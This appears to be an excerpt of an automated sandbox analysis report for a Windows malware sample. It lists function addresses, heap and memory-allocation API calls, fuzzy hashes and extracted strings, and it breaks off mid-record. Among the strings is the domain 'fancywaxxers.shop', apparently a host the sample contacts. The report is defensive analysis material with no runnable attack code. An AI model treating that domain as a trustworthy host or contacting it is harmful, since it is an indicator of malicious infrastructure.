Associated: 00000000.00000002.1825381256.0000000000C5A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7b0000_x6VtGfW26X.jbxd

Similarity

API ID: InitializeSecurity
String ID:
API String ID: 640775948-0
Opcode ID: 08770e5676961f5b2330716033ed7ea34e232506e6a1e248c70f51da731806ac
Instruction ID: 3f7ffb9f68498d1cd6b6e830445aabde177df033121d7dad4f14bbc7033e6a78
Opcode Fuzzy Hash: 08770e5676961f5b2330716033ed7ea34e232506e6a1e248c70f51da731806ac
Instruction Fuzzy Hash: CAE05276BE530027F6384A18EC23F5423025395B21F38C218B310EE3C8C8ECA402820C

Function 007EBCB0 Relevance: 1.5, APIs: 1, Instructions: 13memoryCOMMON

Download Yara Rule

APIs

RtlFreeHeap.NTDLL(?,00000000,00000000,007ED8F6,?,?,?,00000000,007BB40D,00000000,00000000), ref: 007EBCCE

Memory Dump Source

Source File: 00000000.00000002.1824952724.00000000007B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007B0000, based on PE: true

Associated: 00000000.00000002.1824936328.00000000007B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1824952724.00000000007F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825000843.0000000000803000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000805000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.000000000099D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000A7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000AA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000AAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000AB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825261439.0000000000AB8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825364575.0000000000C59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825381256.0000000000C5A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7b0000_x6VtGfW26X.jbxd

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: f65304396adbc8ef661f14bc47c7f92cc5678abbedcd21cab855217f9997e5a2
Instruction ID: 282d21947fe9bf9541d5550526a539dd4fe23b4e9fa9838cc23b6b6efe476d11
Opcode Fuzzy Hash: f65304396adbc8ef661f14bc47c7f92cc5678abbedcd21cab855217f9997e5a2
Instruction Fuzzy Hash: D6D01231405122EFC7101F14FC0AB963B55EF59320F074861F400AB171C669EC50DAD4

Function 007EBC90 Relevance: 1.5, APIs: 1, Instructions: 9memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(?,00000000,?,?,007ED8EB), ref: 007EBCA0

Memory Dump Source

Source File: 00000000.00000002.1824952724.00000000007B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007B0000, based on PE: true

Associated: 00000000.00000002.1824936328.00000000007B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1824952724.00000000007F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825000843.0000000000803000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000805000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.000000000099D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000A7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000AA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000AAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000AB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825261439.0000000000AB8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825364575.0000000000C59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825381256.0000000000C5A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7b0000_x6VtGfW26X.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 48ad45757fe133e13a79d95bf73dacf7304bc981996519f97dcff679c8444193
Instruction ID: e53c238d8c8b698f53fd03e5f3b55a2f60b3905ff55c7d06e30bca1f2b2d31cb
Opcode Fuzzy Hash: 48ad45757fe133e13a79d95bf73dacf7304bc981996519f97dcff679c8444193
Instruction Fuzzy Hash: E6C04831046120AACA602B15EC09B8A7B69AF99260F1245A2B004660B286A1AC829A94

Function 00809E5E Relevance: 1.3, APIs: 1, Instructions: 23memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000), ref: 0080A0AE

Memory Dump Source

Source File: 00000000.00000002.1825017053.0000000000805000.00000040.00000001.01000000.00000003.sdmp, Offset: 007B0000, based on PE: true

Associated: 00000000.00000002.1824936328.00000000007B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1824952724.00000000007B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1824952724.00000000007F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825000843.0000000000803000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.000000000099D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000A7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000AA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000AAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000AB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825261439.0000000000AB8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825364575.0000000000C59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825381256.0000000000C5A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7b0000_x6VtGfW26X.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 0d2412a8c25eab6bdc4b5e9560feddb06f642e12010c11dbe3539e5e6ea47c7c
Instruction ID: 8c590a8071aaa99406fa8b67b50053461c1f7942b77580e0ce916adbb6f6147b
Opcode Fuzzy Hash: 0d2412a8c25eab6bdc4b5e9560feddb06f642e12010c11dbe3539e5e6ea47c7c
Instruction Fuzzy Hash: DEF092B18086289FE3512F1488456BEFBF4FF14711F02082DDAE986681D2710840DB97

Function 008097C5 Relevance: 1.3, APIs: 1, Instructions: 14memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000), ref: 008097C7

Memory Dump Source

Source File: 00000000.00000002.1825017053.0000000000805000.00000040.00000001.01000000.00000003.sdmp, Offset: 007B0000, based on PE: true

Associated: 00000000.00000002.1824936328.00000000007B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1824952724.00000000007B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1824952724.00000000007F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825000843.0000000000803000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.000000000099D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000A7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000AA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000AAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000AB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825261439.0000000000AB8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825364575.0000000000C59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825381256.0000000000C5A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7b0000_x6VtGfW26X.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 36a12270ea89a58c17dc35061c87d3df26e17f1be0e81943499b7a80bed302ba
Instruction ID: 1afd4d428c841a35691ebab78b7354dea73b9d2ab2cfa96b67b5e79985da62ea
Opcode Fuzzy Hash: 36a12270ea89a58c17dc35061c87d3df26e17f1be0e81943499b7a80bed302ba
Instruction Fuzzy Hash: E2D017B028411E9BDB405F6488096DE3A64FF42326F754604FCA6D6EC5CA720C10DA14

Non-executed Functions

Function 007D238D Relevance: 13.0, Strings: 10, Instructions: 549COMMON

Download Yara Rule

Strings

OIE{, xrefs: 007D2588
-A+, xrefs: 007D24AF
"0}, xrefs: 007D3016
~|, xrefs: 007D2736
fancywaxxers.shop, xrefs: 007D281F
gM, xrefs: 007D252D
?', xrefs: 007D24CF
%<$, xrefs: 007D24BF
(99#, xrefs: 007D24B7
Z_-c, xrefs: 007D25A0

Memory Dump Source

Source File: 00000000.00000002.1824952724.00000000007B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007B0000, based on PE: true

Associated: 00000000.00000002.1824936328.00000000007B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1824952724.00000000007F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825000843.0000000000803000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000805000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.000000000099D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000A7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000AA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000AAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000AB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825261439.0000000000AB8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825364575.0000000000C59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825381256.0000000000C5A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7b0000_x6VtGfW26X.jbxd

Similarity

API ID:
String ID: "0}$%<$$(99#$OIE{$Z_-c$fancywaxxers.shop$gM$-A+$~|$?'
API String ID: 0-1394294594
Opcode ID: 0cf8c70487554d8f51f76ed0a45d6881eec3c369fa015aabbc7ddff471176dea
Instruction ID: 0febef3719303f7da51cb520667fbed964891fa38f452a2cadb17abf1f7f0500
Opcode Fuzzy Hash: 0cf8c70487554d8f51f76ed0a45d6881eec3c369fa015aabbc7ddff471176dea
Instruction Fuzzy Hash: 3D026C715183918FD314CF25C89176BBBE2FBD2314F188A6CE4D59B396D7798806CB82

Function 007C11E9 Relevance: 12.7, APIs: 2, Strings: 5, Instructions: 499COMMON

Download Yara Rule

Strings

(, xrefs: 007C16CF
f, xrefs: 007C175C
?, xrefs: 007C13E9
}, xrefs: 007C1535
u, xrefs: 007C15C5

Memory Dump Source

Source File: 00000000.00000002.1824952724.00000000007B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007B0000, based on PE: true

Associated: 00000000.00000002.1824936328.00000000007B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1824952724.00000000007F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825000843.0000000000803000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000805000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.000000000099D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000A7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000AA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000AAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000AB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825261439.0000000000AB8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825364575.0000000000C59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825381256.0000000000C5A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7b0000_x6VtGfW26X.jbxd

Similarity

API ID:
String ID: ($?$f$u$}
API String ID: 0-3561895482
Opcode ID: 49502e5ab74bdf3564ffe81497f1a16f8bd36b6f9ef1b15abcdcd0900b2db59c
Instruction ID: df0b7249b104ad86ee8dbf20df147c70d2d4f754b2b6011dc1c740d74e13efd1
Opcode Fuzzy Hash: 49502e5ab74bdf3564ffe81497f1a16f8bd36b6f9ef1b15abcdcd0900b2db59c
Instruction Fuzzy Hash: 6612A47160C7808BC364DF38C4957AEBBE1AFD6320F598A7DE4D997392D63889418B43

Function 007B9140 Relevance: 10.4, Strings: 8, Instructions: 415COMMON

Download Yara Rule

Strings

uP, xrefs: 007B9286
O!);, xrefs: 007B9165
2&!w, xrefs: 007B915D
IIMC, xrefs: 007B9266
EW4, xrefs: 007B92F1
yt, xrefs: 007B919D
T##", xrefs: 007B940E
T##", xrefs: 007B9512

Memory Dump Source

Source File: 00000000.00000002.1824952724.00000000007B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007B0000, based on PE: true

Associated: 00000000.00000002.1824936328.00000000007B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1824952724.00000000007F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825000843.0000000000803000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000805000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.000000000099D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000A7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000AA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000AAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000AB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825261439.0000000000AB8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825364575.0000000000C59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825381256.0000000000C5A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7b0000_x6VtGfW26X.jbxd

Similarity

API ID:
String ID: 2&!w$EW4$IIMC$O!);$T##"$T##"$uP$yt
API String ID: 0-2143932533
Opcode ID: 09effc1b13daa91b72845bbbe66f33b8a5e808bbdc37d5409809ad00b593fd89
Instruction ID: 15bb3248628409d272da6ca9d4c93a1b7cc9c185f3d667a7aba2828ac4c70083
Opcode Fuzzy Hash: 09effc1b13daa91b72845bbbe66f33b8a5e808bbdc37d5409809ad00b593fd89
Instruction Fuzzy Hash: A9C1F47160C3918AD725CF3984903ABBFE1AF93354F18896DE5E59B382D23DC90AC752

Function 0098426C Relevance: 10.4, Strings: 7, Instructions: 1620COMMON

Download Yara Rule

Strings

}?, xrefs: 0098558E
COw/, xrefs: 009853EC
l,n{, xrefs: 00984EA1
65a, xrefs: 00984402
M*si, xrefs: 00985182
O_?u, xrefs: 009849B5
9%?, xrefs: 00984562

Memory Dump Source

Source File: 00000000.00000002.1825017053.0000000000805000.00000040.00000001.01000000.00000003.sdmp, Offset: 007B0000, based on PE: true

Associated: 00000000.00000002.1824936328.00000000007B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1824952724.00000000007B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1824952724.00000000007F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825000843.0000000000803000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.000000000099D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000A7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000AA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000AAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000AB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825261439.0000000000AB8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825364575.0000000000C59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825381256.0000000000C5A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7b0000_x6VtGfW26X.jbxd

Similarity

API ID:
String ID: 65a$9%?$COw/$M*si$O_?u$l,n{$}?
API String ID: 0-2796996607
Opcode ID: 8e6e38a4e43d5fac2778eaf55a76f2628cb920753e4f02ba678c58a093b89dfa
Instruction ID: 176e66a3dd018184fabf6f385c80b660f244562afd37860a7e05e4d0e9c28f45
Opcode Fuzzy Hash: 8e6e38a4e43d5fac2778eaf55a76f2628cb920753e4f02ba678c58a093b89dfa
Instruction Fuzzy Hash: 7BB2F4F36082049FE704AE29EC8567AFBE9EF94320F1A493DE6C4C7744E63598058797

Function 007E8040 Relevance: 10.2, Strings: 8, Instructions: 194COMMON

Download Yara Rule

Strings

R, xrefs: 007E8161
9, xrefs: 007E80EC
T, xrefs: 007E816B
W, xrefs: 007E815C
%, xrefs: 007E80F1
&, xrefs: 007E80E2
<, xrefs: 007E80E7
b, xrefs: 007E8166

Memory Dump Source

Source File: 00000000.00000002.1824952724.00000000007B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007B0000, based on PE: true

Associated: 00000000.00000002.1824936328.00000000007B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1824952724.00000000007F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825000843.0000000000803000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000805000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.000000000099D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000A7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000AA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000AAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000AB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825261439.0000000000AB8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825364575.0000000000C59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825381256.0000000000C5A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7b0000_x6VtGfW26X.jbxd

Similarity

API ID:
String ID: %$&$9$<$R$T$W$b
API String ID: 0-3780034300
Opcode ID: 1461b86cfa4d3767ede56ba77eb50cf2841e928c2e72e09b72740e390ede6aa9
Instruction ID: 240b73bbce379718b3a556962ac953e639dd61d8309820e7bdc784093930c52a
Opcode Fuzzy Hash: 1461b86cfa4d3767ede56ba77eb50cf2841e928c2e72e09b72740e390ede6aa9
Instruction Fuzzy Hash: 7A71912150D7C28ED351867D484425BAFD26BE7234F2C8FACE5E9873D3C56AC50A9363

Function 007D6360 Relevance: 6.9, Strings: 5, Instructions: 628COMMON

Download Yara Rule

Strings

Sin;, xrefs: 007D644C
xHLG, xrefs: 007D64F1, 007D64F5
dMKP, xrefs: 007D6444
YzW+, xrefs: 007D6434
lmeH, xrefs: 007D6454

Memory Dump Source

Source File: 00000000.00000002.1824952724.00000000007B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007B0000, based on PE: true

Associated: 00000000.00000002.1824936328.00000000007B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1824952724.00000000007F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825000843.0000000000803000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000805000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.000000000099D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000A7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000AA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000AAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000AB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825261439.0000000000AB8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825364575.0000000000C59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825381256.0000000000C5A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7b0000_x6VtGfW26X.jbxd

Similarity

API ID:
String ID: Sin;$YzW+$dMKP$lmeH$xHLG
API String ID: 0-2485238161
Opcode ID: 92cfa172f8a44bf73de0843000adf2446a35c55ea8aff51b7af646726bf330a3
Instruction ID: db460865c0ae1ae6e5113c8972c1153d3d590b6d32cf1603bd1f1a726516a0e4
Opcode Fuzzy Hash: 92cfa172f8a44bf73de0843000adf2446a35c55ea8aff51b7af646726bf330a3
Instruction Fuzzy Hash: B1221FB16083818FD7149F28D85136BBBE1EBC6304F08896EE5D59B382E779D905CB92

Function 007CC3CC Relevance: 4.3, Strings: 3, Instructions: 574COMMON

Download Yara Rule

Strings

{u, xrefs: 007CC64D
Vw1q, xrefs: 007CC654
:G!A, xrefs: 007CC638

Memory Dump Source

Source File: 00000000.00000002.1824952724.00000000007B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007B0000, based on PE: true

Associated: 00000000.00000002.1824936328.00000000007B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1824952724.00000000007F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825000843.0000000000803000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000805000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.000000000099D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000A7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000AA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000AAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000AB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825261439.0000000000AB8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825364575.0000000000C59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825381256.0000000000C5A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7b0000_x6VtGfW26X.jbxd

Similarity

API ID:
String ID: :G!A$Vw1q${u
API String ID: 0-645793561
Opcode ID: eb9a61f572f99eab07660f2be7400b593527c3fb04ab9fd56d00ebc0949f0af5
Instruction ID: ef68929b3e8cc3f998d1c66d4e99579e6f017c1f7d02d80313965a6a6104e6be
Opcode Fuzzy Hash: eb9a61f572f99eab07660f2be7400b593527c3fb04ab9fd56d00ebc0949f0af5
Instruction Fuzzy Hash: DA0232B190021ACFDB15CF64C891ABBBBB1FF55310F18855CE859AB352E338A952CBD1

Function 0084F194 Relevance: 4.2, Strings: 3, Instructions: 439COMMON

Download Yara Rule

Strings

zz~, xrefs: 0084F621
_%s=, xrefs: 0084F6F1
]#WN, xrefs: 0084F5C5

Memory Dump Source

Source File: 00000000.00000002.1825017053.0000000000805000.00000040.00000001.01000000.00000003.sdmp, Offset: 007B0000, based on PE: true

Associated: 00000000.00000002.1824936328.00000000007B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1824952724.00000000007B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1824952724.00000000007F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825000843.0000000000803000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.000000000099D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000A7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000AA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000AAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000AB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825261439.0000000000AB8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825364575.0000000000C59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825381256.0000000000C5A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7b0000_x6VtGfW26X.jbxd

Similarity

API ID:
String ID: ]#WN$_%s=$zz~
API String ID: 0-2772061215
Opcode ID: 5c1626e00f52a39507e81ec99a959fd5a5e930613ed37ed9a17b7d62e93b0931
Instruction ID: fe5e38471c45d9a192ea59018e5c3bd02e82b357811d45e06d1f75a2e08b1470
Opcode Fuzzy Hash: 5c1626e00f52a39507e81ec99a959fd5a5e930613ed37ed9a17b7d62e93b0931
Instruction Fuzzy Hash: 84E1F5B7E046148BF3445E29DC84366B7D2EBD5720F2B853CDA889B3C4D93E9C0A8785

Function 007D6340 Relevance: 3.2, Strings: 2, Instructions: 688COMMON

Download Yara Rule

Strings

H/'&, xrefs: 007D6EC5, 007D6EE6, 007D6EF1
ur, xrefs: 007D6B69

Memory Dump Source

Source File: 00000000.00000002.1824952724.00000000007B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007B0000, based on PE: true

Associated: 00000000.00000002.1824936328.00000000007B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1824952724.00000000007F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825000843.0000000000803000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000805000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.000000000099D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000A7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000AA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000AAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000AB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825261439.0000000000AB8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825364575.0000000000C59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825381256.0000000000C5A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7b0000_x6VtGfW26X.jbxd

Similarity

API ID:
String ID: H/'&$ur
API String ID: 0-969745386
Opcode ID: 8c24c0f4d3b73d3dcd747f0d05901d0ebeef0fac03a43f3aecd9681b021b627e
Instruction ID: f9aff86bd3cc36e7c4372ac86a030a5ccdff95c1115e2bafa86d6e79a233e539
